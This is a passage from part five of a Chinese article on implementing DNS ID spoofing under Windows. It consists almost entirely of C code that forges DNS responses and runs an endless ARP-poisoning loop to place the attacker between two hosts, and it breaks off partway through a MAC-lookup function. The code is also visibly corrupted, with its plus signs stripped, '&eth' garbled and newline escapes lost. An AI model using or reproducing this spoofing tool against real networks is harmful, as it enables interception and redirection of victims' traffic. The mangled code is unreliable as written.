Windows下DNS ID欺骗的原理与实现( 五 )


memcpy(sendbuf,ðs,sizeof(ETHDR));
memcpy(sendbuf sizeof(ETHDR),&ips,sizeof(IPHDR));
memcpy(sendbuf sizeof(ETHDR) sizeof(IPHDR),&udps,sizeof(UDPHDR));
memcpy(sendbuf sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(sendbuf sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS),dname,ulen);
memcpy(sendbuf sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen,&querys,sizeof(QUERY));
memcpy(sendbuf sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY),&responses,sizeof(RESPONSE));
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen 4 sizeof(RESPONSE));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in DNS Spoof Error: %dn",GetLastError());
break;
}
printf("Send DNS Spoof Packet Successfully!n");
}
}
}
}
return 0;
}
DWORD WINAPI arpspoof(LPVOID no)
{
printf("I am arpspoofing...nn");
charsendbuf[1024];
struct sockaddr_in fsin,ssin;
ETHDR eth;
ARPHDR arp;
fsin.sin_addr.s_addr=firstip;
ssin.sin_addr.s_addr=secondip;
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=firstip;
arp.arp_spa=secondip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);

memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth) sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %dn",GetLastError());
return -1;
}
Sleep(500);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=secondip;
arp.arp_spa=firstip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth) sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %dn",GetLastError());
return -1;
}
Sleep(500);
}while(1);
return 0;
}
BOOL getmac()
{
HRESULT hr;
IPAddrdestip;
ULONGpulmac[2];
ULONGullen;
DWORD err;
DWORD fixedinfosize=0;
DWORD adapterinfosize=0;
PIP_ADAPTER_INFO padapterinfo;
PIP_ADDR_STRINGpaddrstr;
【Windows下DNS ID欺骗的原理与实现】if((err=GetAdaptersInfo(NULL,&adapterinfosize))!=0)
{
if(err!=ERROR_BUFFER_OVERFLOW)
{
printf("GetAdapterInfo size Error: %dn",GetLastError());
return FALSE;
}
}
if((padapterinfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR,adapterinfosize))==NULL)
{
printf("Memory allocation Error: %dn",GetLastError());
return FALSE;
}
if((err=GetAdaptersInfo(padapterinfo,&adapterinfosize))!=0)
{
printf("GetAdaptersInfo Error: %dn",GetLastError());

推荐阅读